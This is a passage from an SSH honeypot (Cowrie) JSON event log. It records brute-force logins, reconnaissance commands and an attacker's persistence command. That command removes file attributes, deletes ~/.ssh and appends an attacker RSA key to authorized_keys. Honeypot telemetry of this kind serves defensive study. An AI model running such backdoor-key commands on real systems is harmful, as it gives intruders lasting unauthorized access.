{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:08.494275Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:09.063554Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:09.067631Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:09.334329Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:09.916280Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:09.919874Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:10.189493Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:10.756909Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:10.760792Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:11.025567Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:11.594945Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:11.598371Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:11.867481Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:12.436325Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:12.440303Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:12.708899Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.2","message":"Connection lost after 22.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:12.714594Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":33364,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c025f46a4e2","protocol":"ssh","message":"New connection: 103.4.145.50:33364 (10.17.0.5:22) [session: 7c025f46a4e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:49.488182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:49.492033Z","src_ip":"103.4.145.50","session":"7c025f46a4e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:49.749829Z","src_ip":"103.4.145.50","session":"7c025f46a4e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tsserver","message":"login attempt [root/tsserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:50.800234Z","src_ip":"103.4.145.50","session":"7c025f46a4e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:52.058650Z","src_ip":"103.4.145.50","session":"7c025f46a4e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":50358,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3e15507306e","protocol":"ssh","message":"New connection: 103.4.145.50:50358 (10.17.0.5:22) [session: b3e15507306e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:47.367654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:47.391283Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:47.653637Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin12345","message":"login attempt [admin/admin12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:48.717993Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:49.282049Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:49.285440Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:49.289726Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:49.551214Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:50.107014Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:50.110338Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:50.375647Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:50.379593Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":51426,"dst_ip":"10.17.0.5","dst_port":22,"session":"d18fd0e4e612","protocol":"ssh","message":"New connection: 103.4.145.50:51426 (10.17.0.5:22) [session: d18fd0e4e612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:50.638724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:50.645153Z","src_ip":"103.4.145.50","session":"d18fd0e4e612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":49496,"dst_ip":"10.17.0.5","dst_port":22,"session":"f88b7490b34f","protocol":"ssh","message":"New connection: 87.251.64.176:49496 (10.17.0.5:22) [session: f88b7490b34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:50.893002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:50.898218Z","src_ip":"87.251.64.176","session":"f88b7490b34f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:50.909376Z","src_ip":"103.4.145.50","session":"d18fd0e4e612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:50.994406Z","src_ip":"87.251.64.176","session":"f88b7490b34f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:51.287397Z","src_ip":"87.251.64.176","session":"f88b7490b34f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:51.386261Z","session":"f88b7490b34f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:51.484115Z","src_ip":"87.251.64.176","session":"f88b7490b34f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:51.583245Z","src_ip":"87.251.64.176","session":"f88b7490b34f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:51.994778Z","src_ip":"103.4.145.50","session":"d18fd0e4e612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:53.266593Z","src_ip":"103.4.145.50","session":"d18fd0e4e612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":52376,"dst_ip":"10.17.0.5","dst_port":22,"session":"b57fd56af00e","protocol":"ssh","message":"New connection: 103.4.145.50:52376 (10.17.0.5:22) [session: b57fd56af00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:53.524815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:53.530822Z","src_ip":"103.4.145.50","session":"b57fd56af00e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-s